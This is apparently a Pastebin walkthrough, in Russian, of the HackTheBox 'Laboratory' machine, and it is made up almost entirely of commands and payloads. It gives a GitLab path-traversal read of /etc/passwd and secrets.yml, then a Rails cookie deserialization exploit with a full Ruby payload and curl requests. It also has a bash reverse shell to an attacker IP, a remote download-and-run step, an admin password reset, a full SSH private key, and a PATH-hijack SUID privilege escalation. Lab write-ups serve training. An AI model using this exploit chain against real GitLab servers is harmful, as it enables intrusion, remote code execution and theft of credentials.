Advertisement
askanton

HackTheBox - эксплуатация виртуальной машины Laboratory

Feb 4th, 2021
668
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.05 KB | None | 0 0
  1. Открываем терминал
  2. cd Desktop/
  3. sudo openvpn askanton.ovpn
  4. Делим терминал горизонтально
  5. ping 10.10.10.216
  6.  
  7. открываем новый терминал
  8. Сканируем
  9. nmap -A 10.10.10.216
  10.  
  11. Находим сайт, и дополнительный домен
  12. Добавляем в хостс
  13. sudo nano /etc/hosts
  14. 10.10.10.216 laboratory.htb git.laboratory.htb
  15. Заходим laboratory.htb
  16. Находим пользователей
  17. Dexter и Deedee
  18. Проверяем гоубастером
  19. gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
  20. переходим на https://git.laboratory.htb/
  21. Регистрируемся
  22. username@laboratory.htb
  23. Заходим на https://git.laboratory.htb/help
  24. Смотрим версию
  25. Ищем уязвимости для данной версии и находим:
  26. https://hackerone.com/reports/827052
  27. Делаем следующее:
  28. 1.Создаем Project1
  29. 2.Создаем Project11
  30. 3.В Project1 создаем issue с описанием ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
  31. 4.Пермещаем issue в Project11
  32. 5. Получаем файл passwd
  33.  
  34. Повоторяем аналогичные шаги только теперь с описанием:
  35. ![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
  36. Получаем secrets.yml
  37. secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  38.  
  39. Теперь нам понадобиться такая же версия гитлаб на нашей кали
  40. Качаем https://packages.gitlab.com/gitlab/gitlab-ce/packages/ubuntu/xenial/gitlab-ce_12.8.1-ce.0_amd64.deb
  41. Добавляем репозитории sudo curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh  
  42. Переходим в папку с гитом и запускаем установку
  43. cd /home/kali/Downloads/
  44. sudo dpkg -i gitlab-ce_12.8.1-ce.0_amd64.deb
  45. запускаем gitlab-ctl reconfigure
  46. Меняем значение ключа
  47. sudo nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
  48. sudo gitlab-ctl restart
  49. Переходим в консоль
  50. sudo gitlab-rails console
  51.  
  52. Продолжаем идти по инструкции из https://hackerone.com/reports/827052, генерируем cookie
  53.  
  54. поднимаем сервер куда будем передавать реверсшел
  55. nc -nlvp 7777
  56. поднимаем сервер с которого будем забирать шелл
  57. python3 -m http.server 5555
  58.  
  59. создаем шелл
  60. nano /home/kali/rev.sh
  61. #!/bin/bash
  62. bash -i >& /dev/tcp/10.10.14.46/7777 0>&1
  63.  
  64. Делаем запрос в наш гитлаб на скачивание шела
  65. request = ActionDispatch::Request.new(Rails.application.env_config)
  66. request.env["action_dispatch.cookies_serializer"] = :marshal
  67. cookies = request.cookie_jar
  68. erb = ERB.new("<%= `curl 10.10.14.141:5555/rev11.sh -o /tmp/rev11.sh` %>")
  69. depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
  70. cookies.signed[:cookie] = depr
  71. puts cookies[:cookie]
  72.  
  73.  
  74. Вставляем полученный куки в команду ниже:
  75. curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiUiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC90bXAvcmV2LnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--19ae61e1131857582525c4271376e31a46e253ad" -k
  76.  
  77. Делаем запрос в наш гитлаб на запуск шела
  78. request = ActionDispatch::Request.new(Rails.application.env_config)
  79. request.env["action_dispatch.cookies_serializer"] = :marshal
  80. cookies = request.cookie_jar
  81. erb = ERB.new("<%= `bash /tmp/rev.sh` %>")
  82. depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
  83. cookies.signed[:cookie] = depr
  84. puts cookies[:cookie]
  85.  
  86. Вставляем полученный куки в команду ниже:
  87. curl -vvv 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kibiNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBjdXJsIDEwLjEwLjE0LjE0MTo1NTU1L3Jldi5zaCAtbyAvdG1wL3Jldi5zaGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ" -k
  88.  
  89. Смотрим кто мы
  90. id
  91.  
  92. Смотрим как сбросить пароль пользователя на гитлаб
  93. https://docs.gitlab.com/ee/security/reset_user_password.html
  94.  
  95. gitlab-rails console -e production
  96. user = User.where(id: 1).first
  97. user.password = 'password'
  98. user.password_confirmation = 'password'
  99. user.save!
  100.  
  101. заходим на https://git.laboratory.htb/ под Декстером
  102. Находим ключ от ssh
  103. https://git.laboratory.htb/dexter/securedocker/-/blob/master/dexter/.ssh/id_rsa
  104. -----BEGIN OPENSSH PRIVATE KEY-----
  105. b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
  106. NhAAAAAwEAAQAAAYEAsZfDj3ASdb5YS3MwjsD8+5JvnelUs+yI27VuDD7P21odSfNUgCCt
  107. oSE+v8sPNaB/xF0CVqQHtnhnWe6ndxXWHwb34UTodq6g2nOlvtOQ9ITxSevDScM/ctI6h4
  108. 2dFBhs+8cW9uSxOwlFR4b70E+tv3BM3WoWgwpXvguP2uZF4SUNWK/8ds9TxYW6C1WkAC8Z
  109. 25M7HtLXf1WuXU/2jnw29bzgzO4pJPvMHUxXVwN839jATgQlNp59uQDBUicXewmp/5JSLr
  110. OPQSkDrEYAnJMB4f9RNdybC6EvmXsgS9fo4LGyhSAuFtT1OjqyOY1uwLGWpL4jcDxKifuC
  111. MPLf5gpSQHvw0fq6/hF4SpqM4iXDGY7p52we0Kek3hP0DqQtEvuxCa7wpn3I1tKsNmagnX
  112. dqB3kIq5aEbGSESbYTAUvh45gw2gk0l+3TsOzWVowsaJq5kCyDm4x0fg8BfcPkkKfii9Kn
  113. NKsndXIH0rg0QllPjAC/ZGhsjWSRG49rPyofXYrvAAAFiDm4CIY5uAiGAAAAB3NzaC1yc2
  114. EAAAGBALGXw49wEnW+WEtzMI7A/PuSb53pVLPsiNu1bgw+z9taHUnzVIAgraEhPr/LDzWg
  115. f8RdAlakB7Z4Z1nup3cV1h8G9+FE6HauoNpzpb7TkPSE8Unrw0nDP3LSOoeNnRQYbPvHFv
  116. bksTsJRUeG+9BPrb9wTN1qFoMKV74Lj9rmReElDViv/HbPU8WFugtVpAAvGduTOx7S139V
  117. rl1P9o58NvW84MzuKST7zB1MV1cDfN/YwE4EJTaefbkAwVInF3sJqf+SUi6zj0EpA6xGAJ
  118. yTAeH/UTXcmwuhL5l7IEvX6OCxsoUgLhbU9To6sjmNbsCxlqS+I3A8Son7gjDy3+YKUkB7
  119. 8NH6uv4ReEqajOIlwxmO6edsHtCnpN4T9A6kLRL7sQmu8KZ9yNbSrDZmoJ13agd5CKuWhG
  120. xkhEm2EwFL4eOYMNoJNJft07Ds1laMLGiauZAsg5uMdH4PAX3D5JCn4ovSpzSrJ3VyB9K4
  121. NEJZT4wAv2RobI1kkRuPaz8qH12K7wAAAAMBAAEAAAGAH5SDPBCL19A/VztmmRwMYJgLrS
  122. L+4vfe5mL+7MKGp9UAfFP+5MHq3kpRJD3xuHGQBtUbQ1jr3jDPABkGQpDpgJ72mWJtjB1F
  123. kVMbWDG7ByBU3/ZCxe0obTyhF9XA5v/o8WTX2pOUSJE/dpa0VLi2huJraLwiwK6oJ61aqW
  124. xlZMH3+5tf46i+ltNO4BEclsPJb1hhHPwVQhl0Zjd/+ppwE4bA2vBG9MKp61PV/C0smYmr
  125. uLPYAjxw0uMlfXxiGoj/G8+iAxo2HbKSW9s4w3pFxblgKHMXXzMsNBgePqMz6Xj9izZqJP
  126. jcnzsJOngAeFEB/FW8gCOeCp2FmP4oL08+SknvEUPjWM+Wl/Du0t6Jj8s9yqNfpqLLbJ+h
  127. 1gQdZxxHeSlTCuqnat4khVUJ8zZlBz7B9xBE7eItdAVmGcrM9ztz9DsrLVTBLzIjfr29my
  128. 7icbK30MnPBbFKg82AVDPdzl6acrKMnV0JTm19JnDrvWZD924rxpFCXDDcfAWgDr2hAAAA
  129. wCivUUYt2V62L6PexreXojzD6aZMm2qZk6e3i2pGJr3sL49C2qNOY9fzDjCOyNd8S5fA14
  130. 9uNAEMtgMdxYrZZAu8ymwV9dXfI6x7V8s+8FCOiU2+axL+PBSEpsKEzlK37+iZ3D1XgYgM
  131. 4OYqq39p4wi8rkEaNVuJKYFo8FTHWVcKs3Z/y0NVGhPeaaQw3cAHjUv//K0duKA/m/hW8T
  132. WVAs1IA5kND4sDrNOybRWhPhzLonJKhceVveoDsnunSw/vLgAAAMEA5+gJm0gypock/zbc
  133. hjTa+Eb/TA7be7s2Ep2DmsTXpKgalkXhxdSvwiWSYk+PHj0ZO9BPEx9oQGW01EFhs1/pqK
  134. vUOZ07cZPMI6L1pXHAUyH3nyw56jUj2A3ewGOd3QoYDWS+MMSjdSgiHgYhO09xX4LHf+wc
  135. N2l+RkOEv7ZbOQedBxb+4Zhw+sgwIFVdLTblQd+JL4HIkNZyNXv0zOnMwE5jMiEbJFdhXg
  136. LOCTp45CWs7aLIwkxBPN4SIwfcGfuXAAAAwQDECykadz2tSfU0Vt7ge49Xv3vUYXTTMT7p
  137. 7a8ryuqlafYIr72iV/ir4zS4VFjLw5A6Ul/xYrCud0OIGt0El5HmlKPW/kf1KeePfsHQHS
  138. JP4CYgVRuNmqhmkPJXp68UV3djhA2M7T5j31xfQE9nEbEYsyRELOOzTwnrTy/F74dpk/pq
  139. XCVyJn9QMEbE4fdpKGVF+MS/CkfE+JaNH9KOLvMrlw0bx3At681vxUS/VeISQyoQGLw/fu
  140. uJvh4tAHnotmkAAAAPcm9vdEBsYWJvcmF0b3J5AQIDBA==
  141. -----END OPENSSH PRIVATE KEY-----
  142.  
  143.  
  144. Создаем файлик rsa
  145.  
  146. nano rsa
  147. chmod 600 rsa
  148.  
  149. конектимся к машине используя rsa
  150.  
  151. ssh -i rsa dexter@10.10.10.216
  152.  
  153. забираем ключ пользователя
  154. Читаем про SUID
  155. Смотрим что нам доступно
  156. find / -perm -4000 2>/dev/null
  157. Находим /usr/local/bin/docker-security
  158.  
  159. Читаем про уязвимость гитлаба
  160. https://gitlab.com/gitlab-org/gitlab-foss/-/issues/20582
  161.  
  162. cd /var/tmp
  163. echo "/bin/bash" > chmod
  164. ls
  165. cat chmod
  166. Даем доступ к файлу
  167. chmod 777 chmod
  168. echo $PATH
  169. export PATH=.:${PATH}
  170. echo $PATH
  171. /usr/local/bin/docker-security
  172.  
  173. забираем ключ рута
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement